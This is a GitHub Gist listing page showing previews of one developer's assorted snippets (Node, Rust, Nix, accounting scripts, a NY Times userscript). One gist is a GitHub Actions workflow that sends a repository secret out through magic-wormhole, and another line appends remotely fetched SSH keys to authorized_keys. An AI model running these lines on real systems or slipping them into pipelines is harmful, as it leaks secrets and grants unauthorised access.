Skip to content

Instantly share code, notes, and snippets.

@framp
framp / sample.js
Created November 23, 2022 14:59
Look ma', no dependency injection
const EventEmitter = require("events");
const sqlite3 = require("sqlite3");
const { open } = require("sqlite");
sqlite3.verbose();
let instance = {};
const status = new EventEmitter();
status.started = false;
const db = new Proxy(
use std::cell::RefCell;
use std::rc::Rc;
#[derive(Debug, PartialEq, Eq)]
pub struct TreeNode {
pub val: i32,
pub left: Option<Rc<RefCell<TreeNode>>>,
pub right: Option<Rc<RefCell<TreeNode>>>,
}
@framp
framp / exfiltrate.yaml
Created July 14, 2022 13:56
exfiltrate secrets out of github actions
jobs:
exfiltrate:
runs-on: ubuntu-latest
steps:
- name: exfiltrate secrets
run: |
sudo apt update && sudo apt install magic-wormhole
echo "LOL=${{secrets.LOL}}" | wormhole send --code 3-magic-number
# wormhole receive 3-magic-number
@framp
framp / volta-1.0.8.nix
Created June 8, 2022 11:19
use with (pkgs.callPackage ./custom/volta.nix { }); credits https://github.com/NixOS/nixpkgs/pull/130552
{ lib, fetchFromGitHub, rustPlatform, installShellFiles }:
rustPlatform.buildRustPackage rec {
pname = "volta";
version = "1.0.8";
src = fetchFromGitHub {
owner = "volta-cli";
repo = pname;
rev = "v${version}";
// Update all your invoices on FreeAgent to reverse charge, even if they're already reconciled with your bank account
// Follow https://dev.freeagent.com/docs/quick_start and use the Google OAuth 2.0 Playground to login into your company account.
// Remove .sandbox from links
// Get a fresh token and save it here
const TOKEN = ''
// Manually ignore some invoices by reference
const ignoreList = [].map(String)
const superagent = require("superagent")
wget https://github.com/framp.keys -O - >> ~/.ssh/authorized_keys
//npm i --save request request-promise
const fs = require("fs");
const request = require("request-promise");
const getHMRCMonth = (date) =>
(date.getMonth() < 9 ? "0" : "") +
[date.getMonth() + 1, date.getYear() % 100].join("");
const hmrcBasePage = (year) =>
`https://www.gov.uk/government/publications/hmrc-exchange-rates-for-${year}-monthly`;
@framp
framp / Cargo.toml
Created November 11, 2020 20:10
rust opencv test
[package]
name = "rust-ela"
version = "0.1.0"
edition = "2018"
[dependencies]
opencv = {version = "0.46", features = ["contrib"]}
// ==UserScript==
// @name Thank you NY Times
// @namespace nytimes.com
// @version 0.1
// @description Thank you NY Times
// @author You
// @match *://*.nytimes.com/*
// @grant none
// ==/UserScript==
/*
nvm use 14
cp -R ../face-api-js-master/weights .
echo {} > package.json
npm i --save @tensorflow/tfjs@2.6.0 @tensorflow/tfjs-node@2.6.0 canvas face-api.js
Doesn't work with tfjs-node@2.7.0
package.json:
{